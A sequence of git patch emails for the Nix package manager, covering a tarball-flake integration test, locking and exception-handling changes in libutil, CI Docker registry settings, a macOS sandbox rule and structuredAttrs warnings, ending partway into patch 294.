From: Eelco Dolstra <edolstra@gmail.com>
Date: Wed, 5 Jun 2024 16:19:01 +0200
Subject: [PATCH 279/528] Typo

---
 src/libexpr/print.cc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/libexpr/print.cc b/src/libexpr/print.cc
index 920490cfad4..10fe7923fe9 100644
--- a/src/libexpr/print.cc
+++ b/src/libexpr/print.cc
@@ -278,7 +278,7 @@ class Printer
             storePath = state.coerceToStorePath(i->pos, *i->value, context, "while evaluating the drvPath of a derivation");
         }
 
-        /* This unforutately breaks printing nested values because of
+        /* This unfortunately breaks printing nested values because of
            how the pretty printer is used (when pretting printing and warning
            to same terminal / std stream). */
 #if 0

From 162d94d975328bce0b5f04f5555b760b2222cac4 Mon Sep 17 00:00:00 2001
From: Pierre Bourdon <delroth@gmail.com>
Date: Thu, 30 May 2024 00:22:25 +0200
Subject: [PATCH 280/528] tests/nixos: make the tarball-flakes test better
 reflect real use cases

In most real world cases, the Link header is set on the redirect, not on
the final file. This regressed in Lix earlier and while new unit tests
were added to cover it, this integration test should probably have also
caught it.

Source: https://git.lix.systems/lix-project/lix/commit/a3256a93759206dc64e597e2ad790ce582e84cf3
---
 tests/nixos/tarball-flakes.nix | 27 ++++++++++++++++-----------
 1 file changed, 16 insertions(+), 11 deletions(-)

diff --git a/tests/nixos/tarball-flakes.nix b/tests/nixos/tarball-flakes.nix
index e30d15739e6..2e7f98b5e46 100644
--- a/tests/nixos/tarball-flakes.nix
+++ b/tests/nixos/tarball-flakes.nix
@@ -5,7 +5,7 @@ let
 
   root = pkgs.runCommand "nixpkgs-flake" {}
     ''
-      mkdir -p $out/stable
+      mkdir -p $out/{stable,tags}
 
       set -x
       dir=nixpkgs-${nixpkgs.shortRev}
@@ -14,9 +14,13 @@ let
       find $dir -print0 | xargs -0 touch -h -t ${builtins.substring 0 12 nixpkgs.lastModifiedDate}.${builtins.substring 12 2 nixpkgs.lastModifiedDate} --
       tar cfz $out/stable/${nixpkgs.rev}.tar.gz $dir --hard-dereference
 
-      echo 'Redirect "/latest.tar.gz" "/stable/${nixpkgs.rev}.tar.gz"' > $out/.htaccess
-
-      echo 'Header set Link "<http://localhost/stable/${nixpkgs.rev}.tar.gz?rev=${nixpkgs.rev}&revCount=1234>; rel=\"immutable\""' > $out/stable/.htaccess
+      # Set the "Link" header on the redirect but not the final response to
+      # simulate an S3-like serving environment where the final host cannot set
+      # arbitrary headers.
+      cat >$out/tags/.htaccess <<EOF
+      Redirect "/tags/latest.tar.gz" "/stable/${nixpkgs.rev}.tar.gz"
+      Header always set Link "<http://localhost/stable/${nixpkgs.rev}.tar.gz?rev=${nixpkgs.rev}&revCount=1234>; rel=\"immutable\""
+      EOF
     '';
 in
 
@@ -59,7 +63,7 @@ in
 
     machine.wait_for_unit("httpd.service")
 
-    out = machine.succeed("nix flake metadata --json http://localhost/latest.tar.gz")
+    out = machine.succeed("nix flake metadata --json http://localhost/tags/latest.tar.gz")
     print(out)
     info = json.loads(out)
 
@@ -71,14 +75,15 @@ in
     assert info["revCount"] == 1234
 
     # Check that fetching with rev/revCount/narHash succeeds.
-    machine.succeed("nix flake metadata --json http://localhost/latest.tar.gz?rev=" + info["revision"])
-    machine.succeed("nix flake metadata --json http://localhost/latest.tar.gz?revCount=" + str(info["revCount"]))
-    machine.succeed("nix flake metadata --json http://localhost/latest.tar.gz?narHash=" + info["locked"]["narHash"])
+
+    machine.succeed("nix flake metadata --json http://localhost/tags/latest.tar.gz?rev=" + info["revision"])
+    machine.succeed("nix flake metadata --json http://localhost/tags/latest.tar.gz?revCount=" + str(info["revCount"]))
+    machine.succeed("nix flake metadata --json http://localhost/tags/latest.tar.gz?narHash=" + info["locked"]["narHash"])
 
     # Check that fetching fails if we provide incorrect attributes.
-    machine.fail("nix flake metadata --json http://localhost/latest.tar.gz?rev=493300eb13ae6fb387fbd47bf54a85915acc31c0")
-    machine.fail("nix flake metadata --json http://localhost/latest.tar.gz?revCount=789")
-    machine.fail("nix flake metadata --json http://localhost/latest.tar.gz?narHash=sha256-tbudgBSg+bHWHiHnlteNzN8TUvI80ygS9IULh4rklEw=")
+    machine.fail("nix flake metadata --json http://localhost/tags/latest.tar.gz?rev=493300eb13ae6fb387fbd47bf54a85915acc31c0")
+    machine.fail("nix flake metadata --json http://localhost/tags/latest.tar.gz?revCount=789")
+    machine.fail("nix flake metadata --json http://localhost/tags/latest.tar.gz?narHash=sha256-tbudgBSg+bHWHiHnlteNzN8TUvI80ygS9IULh4rklEw=")
   '';
 
 }

From e291087747146ab862edf0c6a88b12f355fb497c Mon Sep 17 00:00:00 2001
From: eldritch horrors <pennae@lix.systems>
Date: Thu, 4 Apr 2024 17:31:01 +0200
Subject: [PATCH 281/528] libutil: guard Finally against invalid exception
 throws

throwing exceptions is fine, but throwing exceptions during exception
handling is hard enough to do correctly that we should just forbid it
entirely out of an overabundance of caution. in cases where terminate
is the correct answer the users of Finally must call it manually now.

Source: https://git.lix.systems/lix-project/lix/commit/6c777476c9e97abfc5232f0707985caf6df2baea
---
 src/libutil/finally.hh | 24 +++++++++++++++++++++++-
 1 file changed, 23 insertions(+), 1 deletion(-)

diff --git a/src/libutil/finally.hh b/src/libutil/finally.hh
index f9f0195a155..bda4227e6e9 100644
--- a/src/libutil/finally.hh
+++ b/src/libutil/finally.hh
@@ -2,6 +2,8 @@
 ///@file
 
 #include <utility>
+#include <cassert>
+#include <exception>
 
 /**
  * A trivial class to run a function at the end of a scope.
@@ -21,5 +23,25 @@ public:
     Finally(Finally &&other) : fun(std::move(other.fun)) {
         other.movedFrom = true;
     }
-    ~Finally() { if (!movedFrom) fun(); }
+    ~Finally() noexcept(false)
+    {
+        try {
+            if (!movedFrom)
+                fun();
+        } catch (...) {
+            // finally may only throw an exception if exception handling is not already
+            // in progress. if handling *is* in progress we have to return cleanly here
+            // but are still prohibited from doing so since eating the exception would,
+            // in almost all cases, mess up error handling even more. the only good way
+            // to handle this is to abort entirely and leave a message, so we'll assert
+            // (and rethrow anyway, just as a defense against possible NASSERT builds.)
+            if (std::uncaught_exceptions()) {
+                assert(false &&
+                    "Finally function threw an exception during exception handling. "
+                    "this is not what you want, please use some other methods (like "
+                    "std::promise or async) instead.");
+            }
+            throw;
+        }
+    }
 };

From 2f39caf1806a595eb5e24f89bb9c38681c138360 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Thu, 4 Jan 2024 15:05:46 +0100
Subject: [PATCH 282/528] Sync: Add support for shared locks

---
 src/libutil/sync.hh | 53 ++++++++++++++++++++++++++++++++++-----------
 1 file changed, 40 insertions(+), 13 deletions(-)

diff --git a/src/libutil/sync.hh b/src/libutil/sync.hh
index 47e4512b1a8..20dd6ee52bc 100644
--- a/src/libutil/sync.hh
+++ b/src/libutil/sync.hh
@@ -3,6 +3,7 @@
 
 #include <cstdlib>
 #include <mutex>
+#include <shared_mutex>
 #include <condition_variable>
 #include <cassert>
 
@@ -24,8 +25,8 @@ namespace nix {
  * Here, "data" is automatically unlocked when "data_" goes out of
  * scope.
  */
-template<class T, class M = std::mutex>
-class Sync
+template<class T, class M, class WL, class RL>
+class SyncBase
 {
 private:
     M mutex;
@@ -33,23 +34,22 @@ private:
 
 public:
 
-    Sync() { }
-    Sync(const T & data) : data(data) { }
-    Sync(T && data) noexcept : data(std::move(data)) { }
+    SyncBase() { }
+    SyncBase(const T & data) : data(data) { }
+    SyncBase(T && data) noexcept : data(std::move(data)) { }
 
+    template<class L>
     class Lock
     {
-    private:
-        Sync * s;
-        std::unique_lock<M> lk;
-        friend Sync;
-        Lock(Sync * s) : s(s), lk(s->mutex) { }
+    protected:
+        SyncBase * s;
+        L lk;
+        friend SyncBase;
+        Lock(SyncBase * s) : s(s), lk(s->mutex) { }
     public:
         Lock(Lock && l) : s(l.s) { abort(); }
         Lock(const Lock & l) = delete;
         ~Lock() { }
-        T * operator -> () { return &s->data; }
-        T & operator * () { return s->data; }
 
         void wait(std::condition_variable & cv)
         {
@@ -83,7 +83,34 @@ public:
         }
     };
 
-    Lock lock() { return Lock(this); }
+    struct WriteLock : Lock<WL>
+    {
+        T * operator -> () { return &WriteLock::s->data; }
+        T & operator * () { return WriteLock::s->data; }
+    };
+
+    /**
+     * Acquire write (exclusive) access to the inner value.
+     */
+    WriteLock lock() { return WriteLock(this); }
+
+    struct ReadLock : Lock<RL>
+    {
+        const T * operator -> () { return &ReadLock::s->data; }
+        const T & operator * () { return ReadLock::s->data; }
+    };
+
+    /**
+     * Acquire read access to the inner value. When using
+     * `std::shared_mutex`, this will use a shared lock.
+     */
+    ReadLock read() const { return ReadLock(const_cast<SyncBase *>(this)); }
 };
 
+template<class T>
+using Sync = SyncBase<T, std::mutex, std::unique_lock<std::mutex>, std::unique_lock<std::mutex>>;
+
+template<class T>
+using SharedSync = SyncBase<T, std::shared_mutex, std::unique_lock<std::shared_mutex>, std::shared_lock<std::shared_mutex>>;
+
 }

From fd9e49480a40989c407c1de32b86ec35f7b37a87 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Wed, 5 Jun 2024 22:24:00 +0200
Subject: [PATCH 283/528] PosixSourceAccessor: Use SharedSync

---
 src/libutil/posix-source-accessor.cc | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/src/libutil/posix-source-accessor.cc b/src/libutil/posix-source-accessor.cc
index bcf453cbae5..35047f89eb8 100644
--- a/src/libutil/posix-source-accessor.cc
+++ b/src/libutil/posix-source-accessor.cc
@@ -90,14 +90,14 @@ bool PosixSourceAccessor::pathExists(const CanonPath & path)
 
 std::optional<struct stat> PosixSourceAccessor::cachedLstat(const CanonPath & path)
 {
-    static Sync<std::unordered_map<Path, std::optional<struct stat>>> _cache;
+    static SharedSync<std::unordered_map<Path, std::optional<struct stat>>> _cache;
 
     // Note: we convert std::filesystem::path to Path because the
     // former is not hashable on libc++.
     Path absPath = makeAbsPath(path).string();
 
     {
-        auto cache(_cache.lock());
+        auto cache(_cache.read());
         auto i = cache->find(absPath);
         if (i != cache->end()) return i->second;
     }

From 7e6a7c925858c3720dec1864ed26e62718a36652 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io>
Date: Thu, 6 Jun 2024 10:32:38 +0200
Subject: [PATCH 284/528] make it possible to push to different docker
 registries in forks

---
 .github/workflows/ci.yml | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index 4612b4ef5e5..93c68b96c53 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -127,8 +127,8 @@ jobs:
         authToken: '${{ secrets.CACHIX_AUTH_TOKEN }}'
     - run: nix --experimental-features 'nix-command flakes' build .#dockerImage -L
     - run: docker load -i ./result/image.tar.gz
-    - run: docker tag nix:$NIX_VERSION nixos/nix:$NIX_VERSION
-    - run: docker tag nix:$NIX_VERSION nixos/nix:master
+    - run: docker tag nix:$NIX_VERSION ${{ secrets.DOCKERHUB_USERNAME }}/nix:$NIX_VERSION
+    - run: docker tag nix:$NIX_VERSION ${{ secrets.DOCKERHUB_USERNAME }}/nix:master
     # We'll deploy the newly built image to both Docker Hub and Github Container Registry.
     #
     # Push to Docker Hub first
@@ -137,8 +137,8 @@ jobs:
       with:
         username: ${{ secrets.DOCKERHUB_USERNAME }}
         password: ${{ secrets.DOCKERHUB_TOKEN }}
-    - run: docker push nixos/nix:$NIX_VERSION
-    - run: docker push nixos/nix:master
+    - run: docker push ${{ secrets.DOCKERHUB_USERNAME }}/nix:$NIX_VERSION
+    - run: docker push ${{ secrets.DOCKERHUB_USERNAME }}/nix:master
     # Push to GitHub Container Registry as well
     - name: Login to GitHub Container Registry
       uses: docker/login-action@v3

From e505434332423a0d04331750e8ec1ffeb105b861 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io>
Date: Thu, 6 Jun 2024 08:50:05 +0200
Subject: [PATCH 285/528] document how to test github ci fully in your own fork

---
 .github/workflows/ci.yml | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index 93c68b96c53..1aa3b776ef2 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -33,6 +33,15 @@ jobs:
         authToken: '${{ secrets.CACHIX_AUTH_TOKEN }}'
     - run: nix --experimental-features 'nix-command flakes' flake check -L
 
+  # Steps to test CI automation in your own fork.
+  # Cachix:
+  # 1. Sign-up for https://www.cachix.org/
+  # 2. Create a cache for $githubuser-nix-install-tests
+  # 3. Create a cachix auth token and save it in https://github.com/$githubuser/nix/settings/secrets/actions in "Repository secrets" as CACHIX_AUTH_TOKEN
+  # Dockerhub:
+  # 1. Sign-up for https://hub.docker.com/
+  # 2. Store your dockerhub username as DOCKERHUB_USERNAME in "Repository secrets" of your fork repository settings (https://github.com/$githubuser/nix/settings/secrets/actions)
+  # 3. Create an access token in https://hub.docker.com/settings/security and store it as DOCKERHUB_TOKEN in "Repository secrets" of your fork
   check_secrets:
     permissions:
       contents: none

From 25b0242ca6aee3484111739e95b6788ea56d1a64 Mon Sep 17 00:00:00 2001
From: siddhantCodes <siddhantk232@gmail.com>
Date: Sun, 9 Jun 2024 19:49:39 +0530
Subject: [PATCH 286/528] `std::filesystem::create_directories` for createDirs

The implementation of `nix::createDirs` allows it to be a simple wrapper
around `std::filesystem::create_directories` as its return value is not
used anywhere.
---
 src/libcmd/repl-interacter.cc |  4 ++--
 src/libutil/file-system.cc    | 25 ++-----------------------
 src/libutil/file-system.hh    |  7 +++----
 3 files changed, 7 insertions(+), 29 deletions(-)

diff --git a/src/libcmd/repl-interacter.cc b/src/libcmd/repl-interacter.cc
index eb4361e2562..254a86d7b05 100644
--- a/src/libcmd/repl-interacter.cc
+++ b/src/libcmd/repl-interacter.cc
@@ -107,8 +107,8 @@ ReadlineLikeInteracter::Guard ReadlineLikeInteracter::init(detail::ReplCompleter
     rl_readline_name = "nix-repl";
     try {
         createDirs(dirOf(historyFile));
-    } catch (SystemError & e) {
-        logWarning(e.info());
+    } catch (std::filesystem::filesystem_error & e) {
+        warn(e.what());
     }
 #ifndef USE_READLINE
     el_hist_size = 1000;
diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc
index 919bf5d50bd..cd5db31bb04 100644
--- a/src/libutil/file-system.cc
+++ b/src/libutil/file-system.cc
@@ -413,30 +413,9 @@ void deletePath(const fs::path & path)
 }
 
 
-Paths createDirs(const Path & path)
+void createDirs(const Path & path)
 {
-    Paths created;
-    if (path == "/") return created;
-
-    struct stat st;
-    if (STAT(path.c_str(), &st) == -1) {
-        created = createDirs(dirOf(path));
-        if (mkdir(path.c_str()
-#ifndef _WIN32 // TODO abstract mkdir perms for Windows
-            , 0777
-#endif
-            ) == -1 && errno != EEXIST)
-            throw SysError("creating directory '%1%'", path);
-        st = STAT(path);
-        created.push_back(path);
-    }
-
-    if (S_ISLNK(st.st_mode) && stat(path.c_str(), &st) == -1)
-        throw SysError("statting symlink '%1%'", path);
-
-    if (!S_ISDIR(st.st_mode)) throw Error("'%1%' is not a directory", path);
-
-    return created;
+    fs::create_directories(path);
 }
 
 
diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh
index c6b6ecedbb7..9405cda0cca 100644
--- a/src/libutil/file-system.hh
+++ b/src/libutil/file-system.hh
@@ -148,11 +148,10 @@ void deletePath(const std::filesystem::path & path);
 void deletePath(const std::filesystem::path & path, uint64_t & bytesFreed);
 
 /**
- * Create a directory and all its parents, if necessary.  Returns the
- * list of created directories, in order of creation.
+ * Create a directory and all its parents, if necessary.
  */
-Paths createDirs(const Path & path);
-inline Paths createDirs(PathView path)
+void createDirs(const Path & path);
+inline void createDirs(PathView path)
 {
     return createDirs(Path(path));
 }

From 372d5a441e1a6fe61740609ac622f53dc77229a3 Mon Sep 17 00:00:00 2001
From: Kirill Radzikhovskyy <kirillrdy@gmail.com>
Date: Mon, 10 Jun 2024 11:17:41 +1000
Subject: [PATCH 287/528] darwin: allow ipc-sysv* in sandbox

---
 src/libstore/unix/build/sandbox-defaults.sb | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/src/libstore/unix/build/sandbox-defaults.sb b/src/libstore/unix/build/sandbox-defaults.sb
index 2ad5fb616fd..6da01b7356b 100644
--- a/src/libstore/unix/build/sandbox-defaults.sb
+++ b/src/libstore/unix/build/sandbox-defaults.sb
@@ -17,6 +17,9 @@ R""(
 ; Allow POSIX semaphores and shared memory.
 (allow ipc-posix*)
 
+; Allow SYSV semaphores and shared memory.
+(allow ipc-sysv*)
+
 ; Allow socket creation.
 (allow system-socket)
 

From 7a21432e7774617731556d844d05686a8b3ff46d Mon Sep 17 00:00:00 2001
From: siddhantCodes <siddhantk232@gmail.com>
Date: Mon, 10 Jun 2024 11:30:39 +0530
Subject: [PATCH 288/528] fix: catch `filesystem_error` thrown by `createDirs`

---
 src/libstore/store-api.cc | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc
index c67ccd7d4e7..ed52753776f 100644
--- a/src/libstore/store-api.cc
+++ b/src/libstore/store-api.cc
@@ -19,6 +19,7 @@
 #include "signals.hh"
 #include "users.hh"
 
+#include <filesystem>
 #include <nlohmann/json.hpp>
 
 using json = nlohmann::json;
@@ -1303,7 +1304,7 @@ ref<Store> openStore(StoreReference && storeURI)
                 if (!pathExists(chrootStore)) {
                     try {
                         createDirs(chrootStore);
-                    } catch (Error & e) {
+                    } catch (std::filesystem::filesystem_error & e) {
                         return std::make_shared<LocalStore>(params);
                     }
                     warn("'%s' does not exist, so Nix will use '%s' as a chroot store", stateDir, chrootStore);

From 4755e133c410aa2611c23c3f8e106b4194da0c5e Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Mon, 10 Jun 2024 12:37:17 +0200
Subject: [PATCH 289/528] Fix warning

---
 src/libexpr/eval-cache.hh | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/src/libexpr/eval-cache.hh b/src/libexpr/eval-cache.hh
index cac9858296c..b1911e3a4f7 100644
--- a/src/libexpr/eval-cache.hh
+++ b/src/libexpr/eval-cache.hh
@@ -31,7 +31,7 @@ struct CachedEvalError : EvalError
 class EvalCache : public std::enable_shared_from_this<EvalCache>
 {
     friend class AttrCursor;
-    friend class CachedEvalError;
+    friend struct CachedEvalError;
 
     std::shared_ptr<AttrDb> db;
     EvalState & state;
@@ -87,7 +87,7 @@ typedef std::variant<
 class AttrCursor : public std::enable_shared_from_this<AttrCursor>
 {
     friend class EvalCache;
-    friend class CachedEvalError;
+    friend struct CachedEvalError;
 
     ref<EvalCache> root;
     typedef std::optional<std::pair<std::shared_ptr<AttrCursor>, Symbol>> Parent;

From 0a09597790348a3e0420020b0bab68517669ecf6 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Mon, 10 Jun 2024 12:37:24 +0200
Subject: [PATCH 290/528] Typo

---
 src/libexpr/eval.cc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc
index 3524c8b1e89..9e6b89544d3 100644
--- a/src/libexpr/eval.cc
+++ b/src/libexpr/eval.cc
@@ -365,7 +365,7 @@ void initGC()
         };
     }
     #else
-    #warning "BoehmGC version does not support GC while coroutine exists. GC will be disabled inside coroutines. Consider updating bwd-gc to 8.4 or later."
+    #warning "BoehmGC version does not support GC while coroutine exists. GC will be disabled inside coroutines. Consider updating bdw-gc to 8.4 or later."
     #endif
 
 

From f91f34aa653781ef46c4f6008269785f6198a3d4 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Mon, 10 Jun 2024 12:37:44 +0200
Subject: [PATCH 291/528] bdwgc 8.2.4 has sp_corrector

> Support client-defined stack pointer adjustment before thread stack push

-- https://github.com/ivmai/bdwgc/releases/tag/v8.2.4

This fixes an inaccuracy in cc6f31525253b73e4776b5f733e0950e1706d546,
in the update to Nixpkgs 24.05 https://github.com/NixOS/nix/pull/10835

After this fixup, the build log won't ask for an upgrade, and we'll be
able to collect when a coroutine exists, e.g. during filterSource.
---
 src/libexpr/eval.cc | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc
index 9e6b89544d3..f441977a595 100644
--- a/src/libexpr/eval.cc
+++ b/src/libexpr/eval.cc
@@ -354,7 +354,7 @@ void initGC()
     // TODO: Remove __APPLE__ condition.
     //       Comment suggests an implementation that works on darwin and windows
     //       https://github.com/ivmai/bdwgc/issues/362#issuecomment-1936672196
-    #if GC_VERSION_MAJOR >= 8 && GC_VERSION_MINOR >= 4 && !defined(__APPLE__)
+    #if GC_VERSION_MAJOR >= 8 && GC_VERSION_MINOR >= 2 && GC_VERSION_MICRO >= 4 && !defined(__APPLE__)
     GC_set_sp_corrector(&fixupBoehmStackPointer);
 
     if (!GC_get_sp_corrector()) {
@@ -365,7 +365,7 @@ void initGC()
         };
     }
     #else
-    #warning "BoehmGC version does not support GC while coroutine exists. GC will be disabled inside coroutines. Consider updating bdw-gc to 8.4 or later."
+    #warning "BoehmGC version does not support GC while coroutine exists. GC will be disabled inside coroutines. Consider updating bdw-gc to 8.2.4 or later."
     #endif
 
 

From 1363f51bcb24ab9948b7b5093490a009947f7453 Mon Sep 17 00:00:00 2001
From: Tom Bereknyei <tomberek@gmail.com>
Date: Mon, 10 Jun 2024 08:32:30 -0400
Subject: [PATCH 292/528] fix: remove usage of XDG_RUNTIME_DIR for TMP

---
 src/nix-build/nix-build.cc | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/src/nix-build/nix-build.cc b/src/nix-build/nix-build.cc
index b601604dc8b..77df08edd14 100644
--- a/src/nix-build/nix-build.cc
+++ b/src/nix-build/nix-build.cc
@@ -477,9 +477,7 @@ static void main_nix_build(int argc, char * * argv)
         // Set the environment.
         auto env = getEnv();
 
-        auto tmp = getEnvNonEmpty("TMPDIR");
-        if (!tmp)
-            tmp = getEnvNonEmpty("XDG_RUNTIME_DIR").value_or("/tmp");
+        auto tmp = getEnvNonEmpty("TMPDIR").value_or("/tmp");
 
         if (pure) {
             decltype(env) newEnv;
@@ -491,7 +489,7 @@ static void main_nix_build(int argc, char * * argv)
             env["__ETC_PROFILE_SOURCED"] = "1";
         }
 
-        env["NIX_BUILD_TOP"] = env["TMPDIR"] = env["TEMPDIR"] = env["TMP"] = env["TEMP"] = *tmp;
+        env["NIX_BUILD_TOP"] = env["TMPDIR"] = env["TEMPDIR"] = env["TMP"] = env["TEMP"] = tmp;
         env["NIX_STORE"] = store->storeDir;
         env["NIX_BUILD_CORES"] = std::to_string(settings.buildCores);
 

From 4809e59b7ee0681d420f83a285d52e9424f2fad8 Mon Sep 17 00:00:00 2001
From: Tom Bereknyei <tomberek@gmail.com>
Date: Mon, 10 Jun 2024 09:31:21 -0400
Subject: [PATCH 293/528] fix: warn and document when advanced attributes will
 have no impact due to __structuredAttrs

---
 doc/manual/src/language/advanced-attributes.md |  6 ++++++
 src/libexpr/eval.cc                            |  6 ++++++
 src/libexpr/eval.hh                            |  5 ++++-
 src/libexpr/primops.cc                         | 14 ++++++++++++++
 .../unix/build/local-derivation-goal.cc        | 18 ++++++++++++++++++
 5 files changed, 48 insertions(+), 1 deletion(-)

diff --git a/doc/manual/src/language/advanced-attributes.md b/doc/manual/src/language/advanced-attributes.md
index 113062db19a..64a28a366a6 100644
--- a/doc/manual/src/language/advanced-attributes.md
+++ b/doc/manual/src/language/advanced-attributes.md
@@ -301,6 +301,12 @@ Derivations can declare some infrequently used optional attributes.
     (associative) arrays. For example, the attribute `hardening.format = true`
     ends up as the Bash associative array element `${hardening[format]}`.
 
+    > **Warning**
+    >
+    > If set to `true`, other advanced attributes such as [`allowedReferences`](#adv-attr-allowedReferences), [`allowedReferences`](#adv-attr-allowedReferences), [`allowedRequisites`](#adv-attr-allowedRequisites),
+    [`disallowedReferences`](#adv-attr-disallowedReferences) and [`disallowedRequisites`](#adv-attr-disallowedRequisites), maxSize, and maxClosureSize.
+    will have no effect.
+
   - [`outputChecks`]{#adv-attr-outputChecks}\
     When using [structured attributes](#adv-attr-structuredAttrs), the `outputChecks`
     attribute allows defining checks per-output.
diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc
index f441977a595..5a94c67ece2 100644
--- a/src/libexpr/eval.cc
+++ b/src/libexpr/eval.cc
@@ -423,6 +423,12 @@ EvalState::EvalState(
     , sRight(symbols.create("right"))
     , sWrong(symbols.create("wrong"))
     , sStructuredAttrs(symbols.create("__structuredAttrs"))
+    , sAllowedReferences(symbols.create("allowedReferences"))
+    , sAllowedRequisites(symbols.create("allowedRequisites"))
+    , sDisallowedReferences(symbols.create("disallowedReferences"))
+    , sDisallowedRequisites(symbols.create("disallowedRequisites"))
+    , sMaxSize(symbols.create("maxSize"))
+    , sMaxClosureSize(symbols.create("maxClosureSize"))
     , sBuilder(symbols.create("builder"))
     , sArgs(symbols.create("args"))
     , sContentAddressed(symbols.create("__contentAddressed"))
diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh
index dac763268e4..f916873f177 100644
--- a/src/libexpr/eval.hh
+++ b/src/libexpr/eval.hh
@@ -173,7 +173,10 @@ public:
     const Symbol sWith, sOutPath, sDrvPath, sType, sMeta, sName, sValue,
         sSystem, sOverrides, sOutputs, sOutputName, sIgnoreNulls,
         sFile, sLine, sColumn, sFunctor, sToString,
-        sRight, sWrong, sStructuredAttrs, sBuilder, sArgs,
+        sRight, sWrong, sStructuredAttrs,
+        sAllowedReferences, sAllowedRequisites, sDisallowedReferences, sDisallowedRequisites,
+        sMaxSize, sMaxClosureSize,
+        sBuilder, sArgs,
         sContentAddressed, sImpure,
         sOutputHash, sOutputHashAlgo, sOutputHashMode,
         sRecurseForDerivations,
diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc
index 9177b0a2f3e..98649f0817f 100644
--- a/src/libexpr/primops.cc
+++ b/src/libexpr/primops.cc
@@ -1308,6 +1308,20 @@ static void derivationStrictInternal(
                         handleOutputs(ss);
                     }
 
+                    if (i->name == state.sAllowedReferences)
+                        warn("In a derivation named '%s', 'structuredAttrs' disables the effect of the derivation attribute 'allowedReferences'; use 'outputChecks.<output>.allowedReferences' instead", drvName);
+                    if (i->name == state.sAllowedRequisites)
+                        warn("In a derivation named '%s', 'structuredAttrs' disables the effect of the derivation attribute 'allowedRequisites'; use 'outputChecks.<output>.allowedRequisites' instead", drvName);
+                    if (i->name == state.sDisallowedReferences)
+                        warn("In a derivation named '%s', 'structuredAttrs' disables the effect of the derivation attribute 'disallowedReferences'; use 'outputChecks.<output>.disallowedReferences' instead", drvName);
+                    if (i->name == state.sDisallowedRequisites)
+                        warn("In a derivation named '%s', 'structuredAttrs' disables the effect of the derivation attribute 'disallowedRequisites'; use 'outputChecks.<output>.disallowedRequisites' instead", drvName);
+                    if (i->name == state.sMaxSize)
+                        warn("In a derivation named '%s', 'structuredAttrs' disables the effect of the derivation attribute 'maxSize'; use 'outputChecks.<output>.maxSize' instead", drvName);
+                    if (i->name == state.sMaxClosureSize)
+                        warn("In a derivation named '%s', 'structuredAttrs' disables the effect of the derivation attribute 'maxClosureSize'; use 'outputChecks.<output>.maxClosureSize' instead", drvName);
+
+
                 } else {
                     auto s = state.coerceToString(pos, *i->value, context, context_below, true).toOwned();
                     drv.env.emplace(key, s);
diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc
index 16095cf5d49..54644dc3a03 100644
--- a/src/libstore/unix/build/local-derivation-goal.cc
+++ b/src/libstore/unix/build/local-derivation-goal.cc
@@ -2904,6 +2904,24 @@ void LocalDerivationGoal::checkOutputs(const std::map<std::string, ValidPathInfo
         };
 
         if (auto structuredAttrs = parsedDrv->getStructuredAttrs()) {
+            if (get(*structuredAttrs, "allowedReferences")){
+                warn("'structuredAttrs' disables the effect of the top-level attribute 'allowedReferences'; use 'outputChecks' instead");
+            }
+            if (get(*structuredAttrs, "allowedRequisites")){
+                warn("'structuredAttrs' disables the effect of the top-level attribute 'allowedRequisites'; use 'outputChecks' instead");
+            }
+            if (get(*structuredAttrs, "disallowedRequisites")){
+                warn("'structuredAttrs' disables the effect of the top-level attribute 'disallowedRequisites'; use 'outputChecks' instead");
+            }
+            if (get(*structuredAttrs, "disallowedReferences")){
+                warn("'structuredAttrs' disables the effect of the top-level attribute 'disallowedReferences'; use 'outputChecks' instead");
+            }
+            if (get(*structuredAttrs, "maxSize")){
+                warn("'structuredAttrs' disables the effect of the top-level attribute 'maxSize'; use 'outputChecks' instead");
+            }
+            if (get(*structuredAttrs, "maxClosureSize")){
+                warn("'structuredAttrs' disables the effect of the top-level attribute 'maxClosureSize'; use 'outputChecks' instead");
+            }
             if (auto outputChecks = get(*structuredAttrs, "outputChecks")) {
                 if (auto output = get(*outputChecks, outputName)) {
                     Checks checks;

From de3fd52a95cedb57bc6d9dbda0c597cd2bfb3db5 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Mon, 10 Jun 2024 15:55:53 +0200
Subject: [PATCH 294/528] Add tests/f/lang/eval-okay-derivation-legacy

---
 .../lang/eval-okay-derivation-legacy.err.exp         |  6 ++++++
 .../functional/lang/eval-okay-derivation-legacy.exp  |  1 +
